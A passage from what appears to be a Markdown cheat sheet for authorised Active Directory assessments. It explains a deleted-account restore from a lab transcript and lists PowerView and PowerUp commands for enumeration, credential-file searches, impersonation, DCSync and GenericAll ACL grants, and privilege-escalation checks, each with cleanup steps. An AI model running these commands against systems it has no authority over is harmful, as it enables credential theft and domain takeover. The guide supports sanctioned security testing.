    661 `Get-ADObject`, `Restore-ADObject`, and `Get-ADUser` belong to Microsoft's `ActiveDirectory` PowerShell module. They are separate from PowerView's `Get-DomainObject` and `Get-DomainUser`. Loading `PowerView.ps1` does not install these Microsoft cmdlets. This section explains the supplied transcript and administrative recovery checks; it does not execute a restore. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2025-ps)
    662 
    663 #### Check which commands are available
    664 
    665 Inspect the current PowerShell session's command metadata and help before borrowing parameters from a different module. These commands do not query or modify directory objects:
    666 
    667 ```powershell
    668 Get-Command Get-ADObject,Restore-ADObject,Get-ADUser -ErrorAction SilentlyContinue |
    669     Select-Object Name,Source,CommandType
    670 
    671 Get-Help Get-ADObject -Full
    672 Get-Help Restore-ADObject -Full
    673 Get-Help Get-ADUser -Full
    674 ```
    675 
    676 The expected module source for these cmdlets is `ActiveDirectory`. If the commands are unavailable, use a management host where that module is installed; an Evil-WinRM prompt alone does not establish that the module is available. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2025-ps)
    677 
    678 #### Understand the deleted-object query
    679 
    680 The supplied command is a read-only directory query:
    681 
    682 ```powershell
    683 Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects
    684 ```
    685 
    686 `Get-ADObject` retrieves directory objects of different classes, including users, groups, and organisational units. `-LDAPFilter` specifies which objects match. Here, `isDeleted=TRUE` asks for objects marked as deleted. `-IncludeDeletedObjects` allows deleted objects to be returned, which an ordinary query excludes. That switch alone does not mean “only deleted objects”; the filter supplies that restriction. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps)
    687 
    688 The filter has one condition inside an AND group: `(&(isDeleted=TRUE))`. With only one condition, the outer AND is redundant; `(isDeleted=TRUE)` expresses the same test. An AND group becomes useful when combining conditions. LDAP filter text is different from a PowerShell `Where-Object` script block. [Source](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ff730967(v=technet.10))
    689 
    690 A match is a directory record, not a file recovered from a user's desktop. Deleted records can retain identifiers and recovery metadata. A visible deleted record is not proof that a complete recovery remains possible: the deletion lifecycle and Recycle Bin configuration matter. [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/active-directory-recycle-bin) [Source](https://learn.microsoft.com/en-us/training/modules/troubleshoot-active-directory/2-recover-objects-from-active-directory-recycle-bin)
    691 
    692 #### Understand the recovery metadata
    693 
    694 `Get-ADObject` returns a default property set. Additional attributes must be requested with `-Properties`; selecting a field for display does not fetch it from the server. For an administrative recovery review, distinguish the record's identity from its previous location. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps)
    695 
    696 | Field | Meaning |
    697 |---|---|
    698 | `ObjectGUID` | Unique object identifier; the GUID form of `-Identity` refers to this value |
    699 | `DistinguishedName` | Current directory location, which changes when an object is deleted or restored |
    700 | `isDeleted` | Whether the record is marked as deleted |
    701 | `isRecycled` | Whether it has entered the recycled state; this is different from an intact recoverable deleted object |
    702 | `lastKnownParent` | DN of the object's previous parent container or OU |
    703 | `msDS-LastKnownRDN` | Original relative distinguished name, the object's name within its parent |
    704 
    705 `lastKnownParent` and `msDS-LastKnownRDN` are the default destination and name inputs used by the restore cmdlet when no replacement is specified. Recycled objects have already lost many attributes, so the presence of a GUID alone does not establish full recoverability. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adls/22c77623-1d54-459a-b283-0c0587d651c9) [Source](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adls/6c02256f-ae04-4104-9296-6f48d9aeb692) [Source](https://learn.microsoft.com/en-us/training/modules/troubleshoot-active-directory/2-recover-objects-from-active-directory-recycle-bin)
    706 
    707 #### Interpret the supplied restore command
    708 
    709 The transcript contains `Restore-ADObject -Identity "c1f1f0fe-df9c-494c-bf05-0679e181b358"`. This requests restoration of the deleted directory object with that `ObjectGUID`. The GUID is an identifier, not a password, SID, or value generated for each attempt. `Restore-ADObject` changes directory state; it is not another search command. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps)
    710 
    711 The command does not name `cert_admin`. The link between that account and the restore request comes from the matching `ObjectGUID` in the later user output. The supplied excerpt does not show the deleted-object query's results, so it does not show how that GUID was originally selected. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps)
    712 
    713 No object output after `Restore-ADObject` is normal: the cmdlet returns no object by default. Its documented `-PassThru` option returns the restored object. Silence alone is not a substitute for checking errors and verifying the resulting record. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps)
    714 
    715 For an administrative recovery, establish the intended identity, recoverability, and destination before making a change. Restoring an account can restore security-relevant state and access. The Recycle Bin preserves attributes for objects deleted after it was enabled; enabling it later does not recover attributes from earlier deletions. Recovery windows depend on the directory configuration, so do not assume every deleted record can be restored indefinitely. [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/active-directory-recycle-bin) [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/advanced-ad-ds-management-using-active-directory-administrative-center--level-200-)
    716 
    717 #### Read the user verification output
    718 
    719 The final supplied command reads the current user record:
    720 
    721 ```powershell
    722 Get-ADUser -Identity cert_admin
    723 ```
    724 
    725 Here, `cert_admin` is a `sAMAccountName` accepted by `-Identity`. This cmdlet also accepts a user object's distinguished name, GUID, or SID. It retrieves information; it does not enable the account, reset its password, authenticate as it, or grant permissions. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps)
    726 
    727 | Supplied field | Interpretation |
    728 |---|---|
    729 | `DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb` | The returned user is currently under the `ADCS` OU in `tombwatcher.htb` |
    730 | `ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358` | Matches the identifier in the supplied restore request |
    731 | `SamAccountName : cert_admin` | The account name used by the lookup |
    732 | `ObjectClass : user` | This record is a user object |
    733 | `Enabled : True` | The returned account state is enabled; this is not a successful sign-in test |
    734 | `SID : S-1-5-21-1392491010-1358638721-2126982587-1110` | The user's security identifier, distinct from its GUID |
    735 | Blank `UserPrincipalName` | No UPN value is displayed; the `sAMAccountName` lookup still returned the user |
    736 
    737 The matching GUID is the useful identity check in this transcript. The account name `cert_admin` and OU name `ADCS` alone do not establish certificate authority privileges or any other effective access. The default `Get-ADUser` output is a limited property set, not a permissions report. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps)
    738 
    739 #### Avoid misleading conclusions
    740 
    741 An empty deleted-object search means the query returned no visible matches in its scope. Check collection errors and the chosen server and search base before treating that as proof that nothing was deleted. `-IncludeDeletedObjects` neither expands the search to every domain nor bypasses directory access controls. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps)
    742 
    743 A restore and a later lookup are separate operations. A lookup by account name can identify a different object if that name was reused; compare the object GUID with the reviewed record. Review account state and intended access after recovery rather than assuming the original access is still appropriate. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps)
    744 
    745 ---
    746 
    747 ## 7. PowerView — GPOs, OUs, Sites, and Policy
    748 
    749 ### 7.1 OUs and linked GPOs
    750 
    751 ```powershell
    752 Get-DomainOU -Properties name,distinguishedname,gplink
    753 Get-DomainOU -Identity 'Domain Controllers' -Properties name,gplink
    754 
    755 Get-DomainGPO | Select-Object displayname,name,gpcfilesyspath
    756 Get-DomainGPO -Identity 'Default Domain Policy'
    757 Get-DomainGPO -ComputerIdentity ws01
    758 Get-DomainGPO -UserIdentity alice
    759 ```
    760 
    761 ### 7.2 Local-group effects from GPO
    762 
    763 ```powershell
    764 # Restricted Groups and Group Policy Preferences local groups
    765 Get-DomainGPOLocalGroup
    766 
    767 # Where is a user/group granted local Administrators or RDP membership?
    768 Get-DomainGPOUserLocalGroupMapping -Identity 'CORP\Help Desk' -LocalGroup Administrators
    769 Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup RDP
    770 
    771 # Who becomes local admin/RDP user on one computer or OU?
    772 Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity ws01 -LocalGroup Administrators
    773 Get-DomainGPOComputerLocalGroupMapping -OUIdentity 'OU=Workstations,DC=corp,DC=local' -LocalGroup RDP
    774 ```
    775 
    776 ### 7.3 Domain policy
    777 
    778 ```powershell
    779 Get-DomainPolicyData
    780 Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
    781 Get-DomainPolicyData -Policy DC
    782 
    783 # Common fields to review
    784 $Policy = Get-DomainPolicyData
    785 $Policy.SystemAccess | Format-List MinimumPasswordAge,MaximumPasswordAge,MinimumPasswordLength,PasswordComplexity,LockoutBadCount,ResetLockoutCount,LockoutDuration
    786 ```
    787 
    788 ### 7.4 GPO file helpers
    789 
    790 ```powershell
    791 $Gpo = Get-DomainGPO -Identity 'Default Domain Policy'
    792 Get-GptTmpl -GptTmplPath "$($Gpo.gpcfilesyspath)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
    793 ```
    794 
    795 ---
    796 
    797 ## 8. PowerView — Sessions, Shares, Processes, and Local Admin
    798 
    799 ### 8.1 One-host enumeration
    800 
    801 ```powershell
    802 Get-NetShare -ComputerName ws01
    803 Get-NetSession -ComputerName fs01
    804 Get-NetLoggedon -ComputerName ws01
    805 Get-RegLoggedOn -ComputerName ws01
    806 Get-NetRDPSession -ComputerName ws01
    807 Get-NetLocalGroup -ComputerName ws01
    808 Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators
    809 Get-WMIProcess -ComputerName ws01
    810 Test-AdminAccess -ComputerName ws01
    811 ```
    812 
    813 What the session functions actually observe:
    814 
    815 | Function | Source | Typical limitation |
    816 |---|---|---|
    817 | `Get-NetSession` | NetSessionEnum | Modern Windows often restricts session enumeration |
    818 | `Get-NetLoggedon` | NetWkstaUserEnum | Usually requires elevated/remote access |
    819 | `Get-RegLoggedOn` | Remote registry HKEY_USERS | Remote Registry/firewall/rights must permit it |
    820 | `Get-NetRDPSession` | WTS APIs | Rights and firewall affect remote results |
    821 | `Get-WMIProcess` | WMI | RPC/WMI access and firewall required |
    822 
    823 ### 8.2 Domain-wide discovery
    824 
    825 ```powershell
    826 # Find accessible shares; check actual read access
    827 Find-DomainShare -CheckShareAccess -Threads 20
    828 
    829 # Search readable shares for default interesting filenames
    830 Find-InterestingDomainShareFile -Threads 20
    831 
    832 # Narrow file search
    833 Find-InterestingDomainShareFile -Include '*.kdbx','*password*','unattend*.xml' -Threads 10
    834 
    835 # Find machines where current identity is local admin
    836 Find-LocalAdminAccess -Threads 20
    837 
    838 # Enumerate local Administrators members across domain systems
    839 Find-DomainLocalGroupMember -GroupName Administrators -Threads 20
    840 
    841 # Find where a named user is logged on
    842 Find-DomainUserLocation -UserIdentity alice -Threads 10
    843 
    844 # Search for interesting processes
    845 Find-DomainProcess -ProcessName 'keepass','mstsc' -Threads 10
    846 ```
    847 
    848 > [!warning] Fan-out noise
    849 > Hunter functions contact many endpoints. `-Threads` changes speed, not authorisation or detectability. Start with a supplied `-ComputerName` list or restrictive computer LDAP filter, then expand only when justified.
    850 
    851 ### 8.3 File servers, DFS, and targeted file searches
    852 
    853 ```powershell
    854 Get-DomainFileServer
    855 Get-DomainDFSShare
    856 
    857 Find-InterestingFile -Path '\\fs01\Finance' -Include '*.kdbx','*.config','*password*'
    858 Find-InterestingFile -Path 'C:\Users' -OfficeDocs -LastAccessTime (Get-Date).AddDays(-30)
    859 ```
    860 
    861 ### 8.4 Remote registry artefacts
    862 
    863 ```powershell
    864 Get-WMIRegProxy -ComputerName ws01
    865 Get-WMIRegLastLoggedOn -ComputerName ws01
    866 Get-WMIRegCachedRDPConnection -ComputerName ws01
    867 Get-WMIRegMountedDrive -ComputerName ws01
    868 ```
    869 
    870 ---
    871 
    872 ## 9. PowerView — Alternate Credentials and Impersonation
    873 
    874 ### 9.1 PSCredential for LDAP/WMI-aware functions
    875 
    876 ```powershell
    877 $Cred = Get-Credential 'CORP\auditor'
    878 Get-DomainUser -Domain corp.local -Server dc01.corp.local -Credential $Cred
    879 Get-DomainComputer -Domain corp.local -Credential $Cred
    880 Get-DomainObjectAcl -Identity alice -ResolveGUIDs -Credential $Cred
    881 ```
    882 
    883 ### 9.2 Network-logon impersonation
    884 
    885 ```powershell
    886 $Cred  = Get-Credential 'CORP\auditor'
    887 $Token = Invoke-UserImpersonation -Credential $Cred
    888 
    889 try {
    890     Get-DomainUser -Identity alice
    891     Get-NetShare -ComputerName fs01
    892 }
    893 finally {
    894     Invoke-RevertToSelf
    895     if ($Token) { $Token.Dispose() }
    896 }
    897 ```
    898 
    899 ### 9.3 Explicit remote share connection
    900 
    901 ```powershell
    902 $Cred = Get-Credential 'CORP\auditor'
    903 Add-RemoteConnection -ComputerName fs01.corp.local -Credential $Cred
    904 Get-ChildItem '\\fs01.corp.local\Finance'
    905 Remove-RemoteConnection -ComputerName fs01.corp.local
    906 ```
    907 
    908 > [!important] Credential boundaries
    909 > `PSCredential` means username/password authentication through APIs that accept it. It does not inject an NTLM hash or Kerberos ticket. Also avoid opening two SMB connections to the same server under different usernames in one logon session; Windows can return error 1219.
    910 
    911 ---
    912 
    913 ## 10. PowerView — Authorised Object Changes and Cleanup
    914 
    915 ### 10.1 Rules before any write
    916 
    917 ```powershell
    918 # Record current object and ACL state
    919 Get-DomainObject -Identity $Target |
    920   Export-Clixml "$Out\$Target-before.xml"
    921 Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
    922   Export-Csv "$Out\$Target-acl-before.csv" -NoTypeInformation
    923 ```
    924 
    925 Use a change ticket/test identifier in your notes. Do not assume the inverse command reconstructs inherited ACE ordering, protected DACL state, or an overwritten attribute's prior value.
    926 
    927 ### 10.2 Create and remove a test user/group
    928 
    929 ```powershell
    930 $TempPass = Read-Host 'Temporary password' -AsSecureString
    931 New-DomainUser -SamAccountName pv-audit-user -AccountPassword $TempPass
    932 New-DomainGroup -SamAccountName pv-audit-group
    933 
    934 # PowerView has creation helpers but no matching remove-object helper in this build.
    935 # Remove with approved AD administration tooling after validation.
    936 ```
    937 
    938 ### 10.3 Password reset with delegated rights
    939 
    940 ```powershell
    941 $NewPass = Read-Host 'New password' -AsSecureString
    942 Set-DomainUserPassword -Identity alice -AccountPassword $NewPass
    943 ```
    944 
    945 Password resets are disruptive: they can invalidate saved credentials, DPAPI access, services, scheduled tasks, and user sessions. Do not “restore” an unknown original password.
    946 
    947 ### 10.4 Group membership with paired cleanup
    948 
    949 ```powershell
    950 # Verify before
    951 Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'
    952 
    953 # Change
    954 Add-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'
    955 
    956 # Verify and clean up
    957 Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'
    958 Remove-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'
    959 ```
    960 
    961 ### 10.5 Attribute modification
    962 
    963 ```powershell
    964 # Capture original value
    965 $Before = Get-DomainObject -Identity alice -Properties description
    966 $Before | Export-Clixml "$Out\alice-description-before.xml"
    967 
    968 # Replace, append, or clear
    969 Set-DomainObject -Identity alice -Set @{description='Authorised validation CHG-1234'}
    970 Set-DomainObject -Identity alice -XOR @{useraccountcontrol=65536}
    971 Set-DomainObject -Identity alice -Clear description
    972 
    973 # Restore exact original value when known
    974 if ($null -ne $Before.description) {
    975     Set-DomainObject -Identity alice -Set @{description=$Before.description}
    976 } else {
    977     Set-DomainObject -Identity alice -Clear description
    978 }
    979 ```
    980 
    981 This bundled build supports `-Set`, `-Clear`, and `-XOR`: `-Set` replaces the property value, `-Clear` removes it, and `-XOR` toggles specified bit flags. It does **not** expose the `-Add`/`-Remove` switches found in some other AD cmdlets or PowerView forks. For a multi-valued attribute, capture the full original array and use approved AD administration tooling when a precise single-value add/remove is required.
    982 
    983 ### 10.6 Ownership change and restoration
    984 
    985 ```powershell
    986 $TargetDN      = (Get-DomainObject -Identity 'Help Desk').distinguishedname
    987 $OriginalOwner = (Get-Acl "AD:$TargetDN").Owner
    988 
    989 Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity 'CORP\pv-audit-user'
    990 
    991 # Perform only the authorised validation, then restore owner
    992 Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity $OriginalOwner
    993 ```
    994 
    995 If the `AD:` PSDrive is unavailable, record the owner from `Get-DomainObjectAcl`/an approved AD ACL tool before changing it.
    996 
    997 ### 10.7 Add and remove a test ACE
    998 
    999 ```powershell
   1000 # Add narrowly scoped group-member write right
   1001 Add-DomainObjectAcl `
   1002   -TargetIdentity 'Help Desk' `
   1003   -PrincipalIdentity 'pv-audit-user' `
   1004   -Rights WriteMembers
   1005 
   1006 # Validate
   1007 Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs -RightsFilter WriteMembers |
   1008   Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }
   1009 
   1010 # Remove the same ACE
   1011 Remove-DomainObjectAcl `
   1012   -TargetIdentity 'Help Desk' `
   1013   -PrincipalIdentity 'pv-audit-user' `
   1014   -Rights WriteMembers
   1015 ```
   1016 
   1017 ### 10.8 DCSync-right validation and cleanup
   1018 
   1019 ```powershell
   1020 $DomainDN = (Get-Domain).distinguishedname
   1021 
   1022 Add-DomainObjectAcl `
   1023   -TargetIdentity $DomainDN `
   1024   -PrincipalIdentity 'pv-audit-user' `
   1025   -Rights DCSync
   1026 
   1027 # Verify ACEs only; extracting secrets is a separate, higher-impact action
   1028 Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs |
   1029   Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }
   1030 
   1031 Remove-DomainObjectAcl `
   1032   -TargetIdentity $DomainDN `
   1033   -PrincipalIdentity 'pv-audit-user' `
   1034   -Rights DCSync
   1035 ```
   1036 
   1037 ### 10.9 GenericAll test ACE
   1038 
   1039 ```powershell
   1040 Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All
   1041 
   1042 # Cleanup must use the identical target, principal, and right
   1043 Remove-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All
   1044 ```
   1045 
   1046 > [!danger] `-Rights All` is broad
   1047 > Prefer `ResetPassword`, `WriteMembers`, a specific `-RightsGUID`, or another narrow test whenever the assessment objective allows it.
   1048 
   1049 ---
   1050 
   1051 ## 11. PowerView — Output, Filtering, and Export
   1052 
   1053 ### 11.1 Shape output early
   1054 
   1055 ```powershell
   1056 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset |
   1057   Sort-Object pwdlastset |
   1058   Format-Table -AutoSize
   1059 
   1060 Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname,operatingsystem,lastlogondate |
   1061   Select-Object dnshostname,operatingsystem,lastlogondate |
   1062   Export-Csv "$Out\servers.csv" -NoTypeInformation
   1063 ```
   1064 
   1065 ### 11.2 Preserve nested values
   1066 
   1067 CSV flattens arrays. Join them explicitly or use CLIXML/JSON:
   1068 
   1069 ```powershell
   1070 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname |
   1071   Select-Object samaccountname,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
   1072   Export-Csv "$Out\spn-users.csv" -NoTypeInformation
   1073 
   1074 Get-DomainUser -Identity alice |
   1075   Export-Clixml "$Out\alice.xml"
   1076 
   1077 Get-DomainUser -Identity alice -Properties samaccountname,memberof |
   1078   ConvertTo-Json -Depth 5 |
   1079   Set-Content "$Out\alice.json"
   1080 ```
   1081 
   1082 ### 11.3 Bundled CSV helper
   1083 
   1084 ```powershell
   1085 Get-DomainComputer -OperatingSystem '*Server*' |
   1086   Export-PowerViewCSV -Path "$Out\servers-powerview.csv"
   1087 ```
   1088 
   1089 ### 11.4 Measure before fan-out
   1090 
   1091 ```powershell
   1092 $Servers = Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname |
   1093   Select-Object -ExpandProperty dnshostname
   1094 $Servers.Count
   1095 $Servers | Select-Object -First 10
   1096 ```
   1097 
   1098 ---
   1099 
   1100 ## 12. PowerUp — Audit and Triage
   1101 
   1102 ### 12.1 Full audit formats
   1103 
   1104 ```powershell
   1105 # Structured objects: best for filtering/export
   1106 $Findings = Invoke-PrivescAudit -Format Object
   1107 $Findings | Format-List *
   1108 
   1109 # Human-readable console output
   1110 Invoke-PrivescAudit -Format List
   1111 
   1112 # HTML file: COMPUTER.USER.html in current directory
   1113 Invoke-PrivescAudit -Format HTML
   1114 
   1115 # Legacy alias
   1116 Invoke-AllChecks
   1117 ```
   1118 
   1119 ### 12.2 What the full audit checks
   1120 
   1121 | Category | PowerUp function / test |
   1122 |---|---|
   1123 | Current local admin | WindowsPrincipal and token group checks |
   1124 | Interesting token privileges | `Get-ProcessTokenPrivilege -Special` |
   1125 | Unquoted services | `Get-UnquotedService` |
   1126 | Writable service files | `Get-ModifiableServiceFile` |
   1127 | Modifiable service configuration | `Get-ModifiableService` |
   1128 | Writable `%PATH%` directories | `Find-PathDLLHijack` |
   1129 | AlwaysInstallElevated | `Get-RegistryAlwaysInstallElevated` |
   1130 | Registry autologon | `Get-RegistryAutoLogon` |
   1131 | Writable elevated autoruns | `Get-ModifiableRegistryAutoRun` |
   1132 | Writable scheduled-task files | `Get-ModifiableScheduledTaskFile` |
   1133 | Unattended install files | `Get-UnattendedInstallFile` |
   1134 | IIS connection strings | `Get-WebConfig` |
   1135 | IIS app-pool/vdir credentials | `Get-ApplicationHost` |
   1136 | McAfee SiteList credentials | `Get-SiteListPassword` |
   1137 | Cached GPP passwords | `Get-CachedGPPPassword` |
   1138 
   1139 ### 12.3 Filter and prioritise
   1140 
   1141 ```powershell
   1142 $Findings = Invoke-PrivescAudit -Format Object
   1143 
   1144 $Findings |
   1145   Select-Object Check,ServiceName,Path,ModifiablePath,IdentityReference,AbuseFunction |
   1146   Format-Table -Wrap
   1147 
   1148 $Findings | Where-Object Check -Match 'Service|AlwaysInstall|AutoLogon'
   1149 $Findings | Export-Clixml C:\Temp\assessment\powerup-findings.xml
   1150 ```
   1151 
   1152 Prioritise findings that are both controllable **and** triggerable:
   1153 
   1154 | Question | Why it matters |
   1155 |---|---|
   1156 | Does the target execute as `LocalSystem` or another privileged identity? | A writable binary run as the current user gives no elevation |
   1157 | Can the current identity restart/trigger it? | Otherwise exploitation may depend on reboot/admin/operator action |
   1158 | Is the path actually writable, not merely a parent candidate? | Prevents false positives from path parsing |
   1159 | Is the binary architecture compatible? | Relevant for generated service/DLL helpers |
   1160 | Will endpoint protection block or quarantine the artefact? | Avoids disruption and explains failed validation |
   1161 | Is the finding already mitigated by quoting, ACL inheritance, or service hardening? | Confirms the true control boundary |
   1162 
   1163 ### 12.4 Token context
   1164 
   1165 ```powershell
   1166 Get-ProcessTokenGroup
   1167 Get-ProcessTokenPrivilege
   1168 Get-ProcessTokenPrivilege -Special
   1169 Get-ProcessTokenType
   1170 
   1171 # Inspect another process where access is permitted
   1172 Get-ProcessTokenPrivilege -Id 1234
   1173 
   1174 # Enabling a privilege does not grant a privilege absent from the token
   1175 Enable-Privilege SeDebugPrivilege
   1176 ```
   1177 
   1178 ---
   1179 
   1180 ## 13. PowerUp — Service Misconfigurations
   1181 
   1182 ### 13.1 Enumerate service issues separately
   1183 
   1184 ```powershell
   1185 Get-UnquotedService | Format-List *
   1186 Get-ModifiableServiceFile | Format-List *
   1187 Get-ModifiableService | Format-List *
   1188 ```
   1189 
   1190 ### 13.2 Inspect one service deeply
   1191 
   1192 ```powershell
   1193 Get-ServiceDetail -Name VulnSvc | Format-List *
   1194 Get-Service VulnSvc | Get-ServiceDetail
   1195 Get-Service VulnSvc | Add-ServiceDacl | Format-List Name,Dacl
   1196 
   1197 Test-ServiceDaclPermission -Name VulnSvc -PermissionSet ChangeConfig
   1198 Test-ServiceDaclPermission -Name VulnSvc -PermissionSet Restart
   1199 ```
   1200 
   1201 Common permission sets accepted by `Test-ServiceDaclPermission` include:
   1202 
   1203 | Set | Meaning |
   1204 |---|---|
   1205 | `ChangeConfig` | Can change service configuration/binPath |
   1206 | `Restart` | Can stop and start the service |
   1207 | `Start` / `Stop` | Can perform the respective control operation |
   1208 | `WriteDac` | Can modify service DACL |
   1209 | `WriteOwner` | Can take/assign service ownership |
   1210 | `AllAccess` | Broad service access |
   1211 
   1212 ### 13.3 Unquoted service paths
   1213 
   1214 ```powershell
   1215 $U = Get-UnquotedService
   1216 $U | Select-Object ServiceName,Path,ModifiablePath,StartName,CanRestart,AbuseFunction
   1217 ```
   1218 
   1219 For a service path such as:
   1220 
   1221 ```text
   1222 C:\Program Files\Acme Tools\Updater Service.exe
   1223 ```
   1224 
   1225 Windows may test executable candidates at space boundaries when the service path is unquoted. PowerUp reports only candidates whose path is modifiable. Validate with:
   1226 
   1227 ```powershell
   1228 Get-Acl 'C:\Program Files' | Format-List
   1229 Get-Acl 'C:\Program Files\Acme Tools' | Format-List
   1230 Get-ServiceDetail -Name AcmeUpdater
   1231 ```
   1232 
   1233 ### 13.4 Writable service binary or arguments
   1234 
   1235 ```powershell
   1236 Get-ModifiableServiceFile |
   1237   Select-Object ServiceName,Path,ModifiableFile,ModifiableFilePermissions,StartName,CanRestart
   1238 ```
   1239 
   1240 Distinguish these cases:
   1241 
   1242 - Writable service executable: direct integrity issue, but replacement is disruptive.
   1243 - Writable configuration/argument file: impact depends on how the service consumes it.
   1244 - Writable parent directory: may allow replacement after deletion/rename depending on file ACLs.
   1245 - `CanRestart = False`: the issue can still trigger on boot or an operator restart, but immediate proof is riskier.
   1246 
   1247 ### 13.5 Modifiable service configuration
   1248 
   1249 ```powershell
   1250 Get-ModifiableService |
   1251   Select-Object ServiceName,Path,StartName,CanRestart,AbuseFunction
   1252 ```
   1253 
   1254 Record the original configuration before any approved change:
   1255 
   1256 ```powershell
   1257 $SvcBefore = Get-ServiceDetail -Name VulnSvc
   1258 $SvcBefore | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml
   1259 sc.exe qc VulnSvc
   1260 ```
   1261 
   1262 ---
   1263 
   1264 ## 14. PowerUp — DLL, PATH, Autorun, and Task Findings
   1265 
   1266 ### 14.1 Writable PATH directories
   1267 
   1268 ```powershell
   1269 Find-PathDLLHijack | Format-List *
   1270 ```
   1271 
   1272 A writable `%PATH%` directory is a **candidate**, not proof. A privileged process must search that directory for a missing DLL before a protected location. Confirm with Process Monitor or application-specific evidence in a controlled test.
   1273 
   1274 ### 14.2 Process-specific DLL candidates
   1275 
   1276 ```powershell
   1277 Find-ProcessDLLHijack
   1278 Find-ProcessDLLHijack -Name AcmeAgent
   1279 Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
   1280 Find-ProcessDLLHijack -ExcludeOwned
   1281 ```
   1282 
   1283 Validate:
   1284 
   1285 1. The process runs in a more privileged context.
   1286 2. The DLL is genuinely missing at that search step.
   1287 3. The current identity can write the candidate location.
   1288 4. The process can be triggered safely.
   1289 5. Architecture and DLL exports/initialisation behaviour are compatible.
   1290 
   1291 ### 14.3 Registry autoruns
   1292 
   1293 ```powershell
   1294 Get-ModifiableRegistryAutoRun | Format-List *
   1295 ```
   1296 
   1297 Check both the registry value ACL and the referenced file/directory ACL. An autorun is an escalation only when a more privileged identity executes it.
   1298 
   1299 ### 14.4 Scheduled-task files
   1300 
   1301 ```powershell
   1302 Get-ModifiableScheduledTaskFile | Format-List *
   1303 ```
   1304 
   1305 Cross-check the actual task identity and trigger:
   1306 
   1307 ```powershell
   1308 schtasks.exe /query /fo LIST /v
   1309 Get-ScheduledTask | Select-Object TaskName,TaskPath,State
   1310 ```
   1311 
   1312 PowerUp's bundled check focuses on writable files referenced by task XML, not every possible task ACL or COM-handler issue.
   1313 
   1314 ---
   1315 
   1316 ## 15. PowerUp — Credential and Installer Findings
   1317 
   1318 ### 15.1 Registry autologon
   1319 
   1320 ```powershell
   1321 Get-RegistryAutoLogon | Format-List *
   1322 ```
   1323 
   1324 Review and handle the output as credentials. Do not put it in transcripts, screenshots, shared tickets, or shell history unless the assessment rules explicitly permit it.
   1325 
   1326 ### 15.2 Unattended installation files
   1327 
   1328 ```powershell
   1329 Get-UnattendedInstallFile
   1330 ```
   1331 
   1332 This build checks common `sysprep` and `Windows\Panther` locations. It returns candidate file paths; inspect only within scope and distinguish live secrets from redacted, encoded, or stale values.
   1333 
   1334 ### 15.3 IIS configuration
   1335 
   1336 ```powershell
   1337 Get-WebConfig | Format-Table -AutoSize
   1338 Get-ApplicationHost | Format-Table -AutoSize
   1339 ```
   1340 
   1341 | Function | Target |
   1342 |---|---|
   1343 | `Get-WebConfig` | Cleartext or locally decryptable connection strings in IIS application `web.config` files |
   1344 | `Get-ApplicationHost` | IIS app-pool and virtual-directory identities/passwords exposed through `applicationHost.config`/appcmd |
   1345 
   1346 ### 15.4 Group Policy Preferences
   1347 
   1348 ```powershell
   1349 Get-CachedGPPPassword | Format-List *
   1350 ```
   1351 
